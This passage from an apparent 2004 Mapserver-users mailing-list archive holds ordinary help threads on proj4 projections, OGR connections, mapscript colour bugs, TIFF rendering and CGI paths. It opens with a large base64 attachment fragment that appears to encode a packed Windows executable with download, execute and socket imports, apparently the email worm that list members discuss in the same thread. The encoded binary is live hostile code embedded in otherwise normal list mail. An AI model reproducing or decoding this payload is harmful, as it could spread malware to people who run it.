SprucCc6VMBPBhtsgXOCAOvAc47Av9/KJxtwZA0hxgAAAAAAAAAAIAH/AABgviWgQACNvttv //9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz 73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0icUB23UHix6D7vwR2xHJAdt1B4seg+78 EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHbc+SDwQKB/QDz//+D0QGNFC+D/fx2 D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz///9eife5BwAAAIoHRyzoPAF3 94A/AHXyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AwAAAiwcJwHQ8i18EjYQw pOMAAAHzUIPHCP+WgOQAAJWKB0cIwHTciflXSPKuVf+WhOQAAAnAdAeJA4PDBOvh/5aI5AAA YekEbP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAVK6Qt0BIZ6lVUVe2 jHG7GWspIl0BfIhpkayQVoBWJx2pnJbHHH96DzMahpUOlKcCDDyhhgKFSnmiYb+MRKmkmKZz C3JZtGExMY6hLZUYoi1mWYczxZpmsa+JjRQPrr0za1LCsU00bwV6Ei6yOlI2GKiZSL0spruR l5NvJgJEvMaTF8Emk7/AfFKZPCJIoUyfJIMnqro2QxoUEoY4PnRZuTlyg0+SiiOELy67rJu2 PzBZtTgIKLcavEhjbbwzv5VGUwdAEa2TQBB3px1TvHdjMkS8Z5QAZbtcPmWUeVm1BTOkMFwe DEIzuCd6XCeuYAMTEG6tVjanxIhJej6Rt7LCh7RTV6whbTY5k5ANGW8Ckh0cXSqtxSCQDbWZ cogYt0G3i4dStKhGFYNkioW5X20Eumx5YhqsqlNWLb1LeLAPMq9orItgvI25Fi4gT2qKFX83 n7O3g141k8McCkxBtqpgrMJxkFEMsIFKunWLQ4AApKZ2jYovbR8rYoRIHpVCK4KZsz8zd3Cc tbRUN4AKSbBjP7GWlnmJPF6LiFR3HsdlmWKBKhYTYEo9rZKHN7U6sh0FII5gX6YCslCpWhaF LgyVSTuDt5EbKQKXH38hQp2XFC52fDmTJ7xbMBsKGDYoi70jdYdBXj2esztFMBkrgoFXnDiQ pSANNl+CKkhgaj2AoQIuJ6SqZG2QR8EZHH2RmAwXrogeeGGdAJZVnoMDPa3BESq/h0N3EpUw JAs4nAstdzwCs1V4iJOCsj27vpQMml6dCX3AgMOPU2t0DV14VKXHrKsXhpZWigiJVI0La8At LZYdbxJJIKHCx5CWTT6TwpKcArtNRXsZqWQbgsbHUGpiTA+iGJ2qSCAeSXOdoog5hSdKlFuS sy1UPzacMhJiSFAggJSljpKamhMsfAFJvq4BxGEQx0UzRIV3txYJs8V6n7cACk0EJ6BcaFqU hsRXj7UhTi9DbUA7mFA8p5hStaRuE12gELiMcYc9IKlfOke9r50WpbeptT0RTw1bNTIvRoI5 JsUcY6aPl7KwvDwqizaghQGFNRscsTNFLj2rMZZcVZU2Z5aityhZgqeTfWAJqDcoQKg6QzFQ Z3qBDMXFx5cWGKlVDIwMHEsejRvCFAc4G0yUVTWrNFKIfAGBrbZYEEZOUUWyPFGbY2U7kyNc k6CQt1VnZXERXqIZqzEmQmpkuCFaaU2qWo6Da0oLIx6+sx1Rs1FuT3sKElRnGIAMaLIdchly OC9WN7hdYVaYhVwEWVqkWLBUAxQDco1XZlw6SGs+tXEbbFiZqYO5qp54eiQDvRYGEGmakcYf EiV+kASDuw+Lbq6uh7lQjQLEbq+xBCpQA7o3iXGqMrSNfRqqdyAhO2hOsapBl29HBrGDp3CC pQFYgYu5LlZmw48fvykQw75mrjYHH7UDVGZcvXWewX13WJ9Ac0l8i5+FZBaiiip9gn2qoiZa HUhwHYt6Ia5IhAO5EEY+N6ZbWGeNKiFigbiBUgOuwFa1Qn9ul6bEWpAfh35hS78nHSp5P8dh LCtyeoSPn5I7MiYrY2wDw1UvHKvAu71qacckw0BeKESdi0QMcwufepUfWY5eRUspC51dZHQ0 UKaAtcViYWJWHieBLz8YgQhPX7W8hFYaOGwBdyJTj6KIuJ+5IaKOskM7XFdboDw0YDpXIYFk aiBIOWB2eLEOGURxDUmVhYJguhssE6upnZOlE0QTNnYMva28OkaBhnV7ZJ0GlLkSpKwxmI1u FiqoR69qiGCjw2tVoR2zSgy/pkMyIE4wsF8LCK6GMzs3KrRtw1gHd0dTsqFiY0ZbaWsoOWBb xYS5BW5IpJCOGJlPcV8CqMESa4mCHx1QSJw+JC++vYuKDF67H7xnlmYMsotxwkxeTSQnCkhf ixhSV12rFq6PTlaiUg== ----------mleoympvpkumyxyphexm-- From 1wilkerson at charter.net Thu May 13 05:19:13 2004 From: 1wilkerson at charter.net (P Wilkerson) Date: Thu, 13 May 2004 08:19:13 -0400 Subject: [Mapserver-users] OT--Is anybody else getting these messages? References: <200405131159.i4DBxPIA004591@b3sn28.hannover.bgr.de> Message-ID: <004401c438e4$80b2ffd0$6400a8c0@Dale1> I've noticed that I've received a number of e-mails from steve.lime at dnr.state.mn.us with suspicious looking attachments with no information about Mapserver. Are these valid e-mails or the result of some virus or worm? Also, this re-introduces a suggestion I read by another member of this list. Would the administrators consider hiding people's e-mails when messages are posted? I've noticed more "extraneous" e-mails since joining this list. Nothing conclusive to point to this list, just seems more than a coincidence. Peter Wilkerson ----- Original Message ----- From: "Agneta Schick" To: Sent: Thursday, May 13, 2004 7:59 AM Subject: [Mapserver-users] proj4 and mapserver > Dear reader, > > I'm trying to display a layer of symbols which are lat/long coordinates (from > shape files) on a map in winkel tripel projection (generated by GMT). > My problem is when I DO NOT specify "projection latlong" in the map file for > the layer with symbols, the symbols are displayed but, of course, in the > wrong place and when I specify "projection latlong" the symbols are not > displayed at all. I assume that my specifications for the winkel tripel > projection are not correct/complete. > > Using "proj -l=wintri" I get > wintri : Winkel Tripel > Misc Sph > lat_1 > > Does this mean that "lat_1" is the only information I need supply for the > projection definition aside from "proj=wintri"? > > I've defined the map extents as -140 -90 220 90 with units dd. Can I use > degrees when using proj4 although the output from proj is meters? > > I'm using MapServer version 4.0.1, gdal-1.1.9, libpng-1.2.5, proj-4.4.7, > Shape-0.04, shapelib-1.2.10 on Solaris9. > > Thank you, > Agneta Schick > > > > ============================================================ > MAP > NAME "ERMOS" > STATUS ON > EXTENT -140. -90. 220. 90. > UNITS DD > SIZE 947 612 > SHAPEPATH "/space/b3sn13/webdb/htdocs/ermos/data" > IMAGECOLOR 255 0 0 > IMAGETYPE png > > > SYMBOL > NAME 'circle' > TYPE ELLIPSE > POINTS > 1 1 > END > FILLED TRUE > END > PROJECTION > "proj=wintri" > "lat_1=0" > "lon_0=40e" > END > > LAYER > NAME 'world' > DATA /space/b3sn13/webdb/htdocs/ermos/data/wintri.tif > TYPE RASTER > STATUS DEFAULT > END > > LAYER > NAME 'quakes' > DATA 'usgs' > TYPE POINT > STATUS ON > PROJECTION > "proj=latlong" > "datum=WGS84" > END > CLASS > SYMBOL 'circle' > SIZE 5 > OUTLINECOLOR 0 0 0 > COLOR 255 0 0 > END > END > > END > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From koeberle at fh-nb.de Thu May 13 05:19:15 2004 From: koeberle at fh-nb.de (Andreas Koeberle) Date: Thu, 13 May 2004 14:19:15 +0200 Subject: [Mapserver-users] open failed ogr connection Message-ID: <40A367C3.2090205@fh-nb.de> Hi I try do use a access database as a source for a point layer. I check the ovf file with the ogrinfo like describe in the wiki and the file seems to work. But when I try do use with the mapserver the following message appear: msOGRFileOpen(): OGR error. Open failed for OGR connection `virtuallayer.ovf'. File not found or unsupported format I've read this thread http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00728.html. But also with the binary from Paul Spencer I've got the same error. Is there something wrong with my map file or what could it be? ovf File: ODBC:user/@margis position wkbPoint WGS84 layer: LAYER NAME "MyVirtualLayer" TYPE POINT CONNECTIONTYPE OGR CONNECTION "virtuallayer.ovf" DATA "layer" STATUS DEFAULT CLASS SYMBOL 1 SIZE 6 COLOR 255 0 0 LABEL SIZE MEDIUM TYPE BITMAP COLOR 0 0 0 END END END system :Win 2000 server: Apache 2 Andreas K?berle From warmerdam at pobox.com Thu May 13 05:45:01 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Thu, 13 May 2004 08:45:01 -0400 Subject: [Mapserver-users] open failed ogr connection In-Reply-To: <40A367C3.2090205@fh-nb.de> References: <40A367C3.2090205@fh-nb.de> Message-ID: <40A36DCD.8090902@pobox.com> Andreas Koeberle wrote: > Hi > I try do use a access database as a source for a point layer. I check > the ovf file with the ogrinfo like describe in the wiki and the file > seems to work. But when I try do use with the mapserver the following > message appear: > > msOGRFileOpen(): OGR error. Open failed for OGR connection > `virtuallayer.ovf'. File not found or unsupported format Andreas, The most obvious and likely problems are: 1) out of date mapserver build with old OGR ODBC code. 2) you are using a user DSN instead of a system DSN. 3) the "web user" does not have permission on the database in question. 4) wrong path to virtuallayer.ovf To rule out the first item, try running "shp2img" on your map as yourself and see if that works. eg. shp2img -m your.map -o out.png If that works fine then it is a difference in what is accessable in the web context compared to running logged in as yourself. Good luck, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From kames at keyspanenergy.com Thu May 13 05:51:42 2004 From: kames at keyspanenergy.com (Kieran J. Ames) Date: Thu, 13 May 2004 08:51:42 -0400 Subject: [Mapserver-users] OT--Is anybody else getting these messages? References: <200405131159.i4DBxPIA004591@b3sn28.hannover.bgr.de> <004401c438e4$80b2ffd0$6400a8c0@Dale1> Message-ID: <40A36F5E.C1F1ABD3@keyspanenergy.com> Yes... I've been getting many. Our anti-virus software is catching them with the following output: Subject: [Mapserver-users] Protected message Date: Thu, 13 May 2004 07:12:55 -0600 From: "Steve.lime" To: "Mapserver-users" ----------------------------------------------------------------------------------------- Potential Virus Alert! The file(s) attached to this email has been quarantined. If you need the attachment, please contact the Enterprise Service Desk Kieran P Wilkerson wrote: > I've noticed that I've received a number of e-mails from > steve.lime at dnr.state.mn.us with suspicious looking attachments with no > information about Mapserver. Are these valid e-mails or the result of some > virus or worm? > > Also, this re-introduces a suggestion I read by another member of this list. > Would the administrators consider hiding people's e-mails when messages are > posted? I've noticed more "extraneous" e-mails since joining this list. > Nothing conclusive to point to this list, just seems more than a > coincidence. > > Peter Wilkerson > > ----- Original Message ----- > From: "Agneta Schick" > To: > Sent: Thursday, May 13, 2004 7:59 AM > Subject: [Mapserver-users] proj4 and mapserver > > > Dear reader, > > > > I'm trying to display a layer of symbols which are lat/long coordinates > (from > > shape files) on a map in winkel tripel projection (generated by GMT). > > My problem is when I DO NOT specify "projection latlong" in the map file > for > > the layer with symbols, the symbols are displayed but, of course, in the > > wrong place and when I specify "projection latlong" the symbols are not > > displayed at all. I assume that my specifications for the winkel tripel > > projection are not correct/complete. > > > > Using "proj -l=wintri" I get > > wintri : Winkel Tripel > > Misc Sph > > lat_1 > > > > Does this mean that "lat_1" is the only information I need supply for the > > projection definition aside from "proj=wintri"? > > > > I've defined the map extents as -140 -90 220 90 with units dd. Can I use > > degrees when using proj4 although the output from proj is meters? > > > > I'm using MapServer version 4.0.1, gdal-1.1.9, libpng-1.2.5, proj-4.4.7, > > Shape-0.04, shapelib-1.2.10 on Solaris9. > > > > Thank you, > > Agneta Schick > > > > > > > > ============================================================ > > MAP > > NAME "ERMOS" > > STATUS ON > > EXTENT -140. -90. 220. 90. > > UNITS DD > > SIZE 947 612 > > SHAPEPATH "/space/b3sn13/webdb/htdocs/ermos/data" > > IMAGECOLOR 255 0 0 > > IMAGETYPE png > > > > > > SYMBOL > > NAME 'circle' > > TYPE ELLIPSE > > POINTS > > 1 1 > > END > > FILLED TRUE > > END > > PROJECTION > > "proj=wintri" > > "lat_1=0" > > "lon_0=40e" > > END > > > > LAYER > > NAME 'world' > > DATA /space/b3sn13/webdb/htdocs/ermos/data/wintri.tif > > TYPE RASTER > > STATUS DEFAULT > > END > > > > LAYER > > NAME 'quakes' > > DATA 'usgs' > > TYPE POINT > > STATUS ON > > PROJECTION > > "proj=latlong" > > "datum=WGS84" > > END > > CLASS > > SYMBOL 'circle' > > SIZE 5 > > OUTLINECOLOR 0 0 0 > > COLOR 255 0 0 > > END > > END > > > > END > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From warmerdam at pobox.com Thu May 13 05:49:30 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Thu, 13 May 2004 08:49:30 -0400 Subject: [Mapserver-users] proj4 and mapserver In-Reply-To: <200405131159.i4DBxPIA004591@b3sn28.hannover.bgr.de> References: <200405131159.i4DBxPIA004591@b3sn28.hannover.bgr.de> Message-ID: <40A36EDA.9070708@pobox.com> Agneta Schick wrote: > Dear reader, > > I'm trying to display a layer of symbols which are lat/long coordinates (from > shape files) on a map in winkel tripel projection (generated by GMT). > My problem is when I DO NOT specify "projection latlong" in the map file for > the layer with symbols, the symbols are displayed but, of course, in the > wrong place and when I specify "projection latlong" the symbols are not > displayed at all. I assume that my specifications for the winkel tripel > projection are not correct/complete. > > Using "proj -l=wintri" I get > wintri : Winkel Tripel > Misc Sph > lat_1 > > Does this mean that "lat_1" is the only information I need supply for the > projection definition aside from "proj=wintri"? Agneta, No, it just means that this is the only "special" parameter for this projection. The listed information does not include the standard x_0, y_0, lat_0, and lon_0 parameters. > I've defined the map extents as -140 -90 220 90 with units dd. Can I use > degrees when using proj4 although the output from proj is meters? No. Your basic problem would appear to be defining the map extents in degrees but declaring the coordinate system to be winkel tripel. I think you will need to convert your extents to winkel tripel. You should also supply an explicit ellipse for your winkel tripel projection definition. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From eric at gomoos.org Thu May 13 06:09:20 2004 From: eric at gomoos.org (Eric Bridger) Date: 13 May 2004 09:09:20 -0400 Subject: [Mapserver-users] Re: Clarifications about mapscript 4.2 In-Reply-To: <42AAFD61-A459-11D8-AF02-000D9329D732@frii.com> References: <1084393684.1822.421.camel@ubet.gomoos.org> <42AAFD61-A459-11D8-AF02-000D9329D732@frii.com> Message-ID: <1084453766.1864.18.camel@ubet.gomoos.org> On Wed, 2004-05-12 at 17:13, Sean Gillies wrote: > Hey Eric, > > I'm unable to reproduce your problems with my Python interpreter. Here > is a session below. Note that I'm using the next generation class > names ... 'Map' is exactly the same as 'mapObj', 'Color' == 'colorObj', > &c. > > Python 2.3.3 (#1, Jan 4 2004, 11:27:28) > [GCC 3.2.2 20030222 (Red Hat Linux 3.2.2-5)] on linux2 > Type "help", "copyright", "credits" or "license" for more > information. > >>> import mapscript > >>> test_map = > mapscript.Map('/home/sean/projects/ms_42/mapserver/tests/test.map') > >>> class00 = test_map.getLayer(0).getClass(0) > >>> s0 = class00.getStyle(0) > >>> s0 > > >>> s0.color.toHex() > '#ff9966' > >>> s0.color.setRGB(0,0,0) > 0 > >>> s0.color.toHex() > '#000000' > >>> s0.color.setRGB(51,51,51) > 0 > >>> s0.color.toHex() > '#333333' > >>> s0.color.setRGB(102,102,102) > 0 > >>> s0.color.toHex() > '#666666' > > I can't reproduce the sticking. Next a test with defined colors. > > >>> blue = mapscript.Color(0,0,255) > >>> blue.toHex() > '#0000ff' > >>> s0.color = blue > >>> s0.color.toHex() > '#0000ff' > >>> red = mapscript.Color(255,0,0) > >>> s0.color = red > >>> s0.color.toHex() > '#ff0000' > >>> s0.color = blue > >>> s0.color.toHex() > '#0000ff' > > So it appears that this is working OK as well. > > Now, looking at your script, there is a line > > $point->draw($map, $layerObj, $img, undef, "$point_id"); > Sean, Perl mapscript4.2b2 works in the above cases as well. The problem seems to lie deeper, in the point->draw() method, i.e. even when style->toHex() reports #0000ff, point->draw() draws a black or whatever color was first set. I will continue to investigate. Eric From m.meier at spiekermann.de Thu May 13 06:50:57 2004 From: m.meier at spiekermann.de (Manfred Meier) Date: Thu, 13 May 2004 15:50:57 +0200 Subject: [Mapserver-users] 1-bit tiff with min-is-white In-Reply-To: <40A357F5.8080505@spiekermann.de> References: <40A357F5.8080505@spiekermann.de> Message-ID: <40A37D41.8030003@spiekermann.de> Frank, this is my mapserver configuration: MapServer version 4.0.2 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=FREETYPE INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=SHAPEFILE and this is my mapfile # # Start of map file # NAME t1 STATUS ON SIZE 600 600 EXTENT 2522000 5692000 2526000 5697000 ##EXTENT 2561800 5709000 2565000 5712000 UNITS METERS TRANSPARENT ON #------------------------------------------------------------------- # LAYER NAME stadtplan TYPE raster STATUS default DATA "l4704kom_2_00.tif" CLASSITEM "[pixel]" CLASS EXPRESSION ([pixel] = 1) COLOR 255 0 0 END # CLASS END # LAYER END # Map File With this configuration the background is black and the foreground is white and i would like to have the background transparent and the forground in yellow or lightgray or any other color. I modified the source code in mapraster.c (i know i should not do this) and i got the background in white an the foreground in black, which is better, but not exactly what i want. Perhaps you or any other has an idea? Manfred Manfred Meier wrote: > Hello list, > > I'm using mapserver 4.0.2 with perl-mapscript and i want to display a > tiff for which "tiffinfo" says the following: > > TIFF Directory at offset 0x8 > Subfile Type: (0 = 0x0) > Image Width: 9759 Image Length: 9362 > Resolution: 508, 508 pixels/inch > Bits/Sample: 1 > Compression Scheme: CCITT Group 4 facsimile encoding > Photometric Interpretation: min-is-white > Date & Time: "2001:10:30 09:32:44" > Software: "SICAD-RBS V5.0" > Samples/Pixel: 1 > Rows/Strip: 6 > Planar Configuration: single image plane > Group 4 Options: (0 = 0x0) > > The picture comes up on the screen but i cannot change the > "foreground"-color to e.g. light-gray with CLASS and EXPRESSION in the > map-file. > > Is this possible or have I to convert the tiff to some 8-bit format? Manfred, What are you using as a class expression? I believe GDAL will treat this image as a pseudo-colored image with two colors. If you classify based on [pixel] then 0 should be white originally and 1 black. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From sgillies at frii.com Thu May 13 07:04:52 2004 From: sgillies at frii.com (Sean Gillies) Date: Thu, 13 May 2004 08:04:52 -0600 Subject: [Mapserver-users] Re: Clarifications about mapscript 4.2 In-Reply-To: <1084453766.1864.18.camel@ubet.gomoos.org> References: <1084393684.1822.421.camel@ubet.gomoos.org> <42AAFD61-A459-11D8-AF02-000D9329D732@frii.com> <1084453766.1864.18.camel@ubet.gomoos.org> Message-ID: <814FF800-A4E6-11D8-936C-000D9329D732@frii.com> On May 13, 2004, at 7:09 AM, Eric Bridger wrote: > On Wed, 2004-05-12 at 17:13, Sean Gillies wrote: >> Hey Eric, >> >> I'm unable to reproduce your problems with my Python interpreter. >> Here >> is a session below. Note that I'm using the next generation class >> names ... 'Map' is exactly the same as 'mapObj', 'Color' == >> 'colorObj', >> &c. >> >> Python 2.3.3 (#1, Jan 4 2004, 11:27:28) >> [GCC 3.2.2 20030222 (Red Hat Linux 3.2.2-5)] on linux2 >> Type "help", "copyright", "credits" or "license" for more >> information. >>>>> import mapscript >>>>> test_map = >> mapscript.Map('/home/sean/projects/ms_42/mapserver/tests/test.map') >>>>> class00 = test_map.getLayer(0).getClass(0) >>>>> s0 = class00.getStyle(0) >>>>> s0 >> >>>>> s0.color.toHex() >> '#ff9966' >>>>> s0.color.setRGB(0,0,0) >> 0 >>>>> s0.color.toHex() >> '#000000' >>>>> s0.color.setRGB(51,51,51) >> 0 >>>>> s0.color.toHex() >> '#333333' >>>>> s0.color.setRGB(102,102,102) >> 0 >>>>> s0.color.toHex() >> '#666666' >> >> I can't reproduce the sticking. Next a test with defined colors. >> >>>>> blue = mapscript.Color(0,0,255) >>>>> blue.toHex() >> '#0000ff' >>>>> s0.color = blue >>>>> s0.color.toHex() >> '#0000ff' >>>>> red = mapscript.Color(255,0,0) >>>>> s0.color = red >>>>> s0.color.toHex() >> '#ff0000' >>>>> s0.color = blue >>>>> s0.color.toHex() >> '#0000ff' >> >> So it appears that this is working OK as well. >> >> Now, looking at your script, there is a line >> >> $point->draw($map, $layerObj, $img, undef, "$point_id"); >> > Sean, > > Perl mapscript4.2b2 works in the above cases as well. The problem > seems > to lie deeper, in the point->draw() method, i.e. even when > style->toHex() reports #0000ff, point->draw() draws a black or whatever > color was first set. I will continue to investigate. > > Eric > Yes, I think the problem is in your call to $point->draw(). You should be passing an integer class index as the 4th argument, not an undef. You clipped this from my previous email, so I wonder if you read it? Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From sgillies at frii.com Thu May 13 07:22:04 2004 From: sgillies at frii.com (Sean Gillies) Date: Thu, 13 May 2004 08:22:04 -0600 Subject: Confirmed (Re: [Mapserver-users] Re: Clarifications about mapscript 4.2) In-Reply-To: <1084453766.1864.18.camel@ubet.gomoos.org> References: <1084393684.1822.421.camel@ubet.gomoos.org> <42AAFD61-A459-11D8-AF02-000D9329D732@frii.com> <1084453766.1864.18.camel@ubet.gomoos.org> Message-ID: On May 13, 2004, at 7:09 AM, Eric Bridger wrote: > Sean, > > Perl mapscript4.2b2 works in the above cases as well. The problem > seems > to lie deeper, in the point->draw() method, i.e. even when > style->toHex() reports #0000ff, point->draw() draws a black or whatever > color was first set. I will continue to investigate. > > Eric > Eric, I have been able to reproduce your problem with point->draw. I'll enter a bug report and cc you. Sean From Chip.Hankley at rmtinc.com Thu May 13 07:24:33 2004 From: Chip.Hankley at rmtinc.com (Chip Hankley) Date: Thu, 13 May 2004 09:24:33 -0500 Subject: [Mapserver-users] CGI wierdness w/ relative paths Message-ID: After a little MS hiatus, I'm back. Trying to get up to speed on the new 4.0 stuff, and using straight CGI. I'm working with Steve Lime's workshop demo. I was trying to use relative paths to set up the pointers... but for some reason this isn't working. What's really weird is that for the first set of hidden variables below (where I'm using relative paths), some of the images ARE generated (reference map, scalebars), but the main map is not (shows up as a broken link, and now image in tmp). When I hard code map it works. I would think that when using relative paths, they should always be relative to the mapserv.exe, right? Why doesn't this work? TIA! Chip ----------------------------------------------------------------------------- THIS DOESN'T WORK ----------------------------------------------------------------------------- ----------------------------------------------------------------------------- THIS WORKS ----------------------------------------------------------------------------- Outgoing messages, along with any attachments, are scanned for viruses at RMT prior to sending. ------------------------------------------------------------------------------ NOTICE--This email may contain confidential and privileged information for the sole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient, please contact the sender immediately and delete all copies. From Chip.Hankley at rmtinc.com Thu May 13 07:28:03 2004 From: Chip.Hankley at rmtinc.com (Chip Hankley) Date: Thu, 13 May 2004 09:28:03 -0500 Subject: [Mapserver-users] CGI wierdness w/ relative paths (Revised) Message-ID: Sorry... made a slight mistype on the last e-mail... when I hardcode map_web_imagepath it works (not map). ----------------------------------------------------------------------------- After a little MS hiatus, I'm back. Trying to get up to speed on the new 4.0 stuff, and using straight CGI. I'm working with Steve Lime's workshop demo. I was trying to use relative paths to set up the pointers... but for some reason this isn't working. What's really weird is that for the first set of hidden variables below (where I'm using relative paths), some of the images ARE generated (reference map, scalebars), but the main map is not (shows up as a broken link, and now image in tmp). When I hard code map_web_imagepath it works. I would think that when using relative paths, they should always be relative to the mapserv.exe, right? Why doesn't this work? TIA! Chip ----------------------------------------------------------------------------- THIS DOESN'T WORK ----------------------------------------------------------------------------- ----------------------------------------------------------------------------- THIS WORKS ----------------------------------------------------------------------------- Outgoing messages, along with any attachments, are scanned for viruses at RMT prior to sending. ------------------------------------------------------------------------------ NOTICE--This email may contain confidential and privileged information for the sole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient, please contact the sender immediately and delete all copies. From Tomas.Brandalik at Sun.COM Thu May 13 08:24:06 2004 From: Tomas.Brandalik at Sun.COM (Tomas Brandalik) Date: Thu, 13 May 2004 17:24:06 +0200 Subject: [Mapserver-users] postgis and java mapscript Message-ID: <40A39316.4080505@sun.com> I am running mapserver4.0.2 compiled with postgis0.8.1 extension. It works fine through cgi but not from java/mapscript. java/mapscript library generates expected png file if datasources were shapefiles but no output or even error shows up when datasources were postgis. I can't find any log or whatever would help me find the problem. Have anybody seen this before? -Tomas From teb at mallit.fr.umn.edu Thu May 13 08:29:02 2004 From: teb at mallit.fr.umn.edu (Thomas E 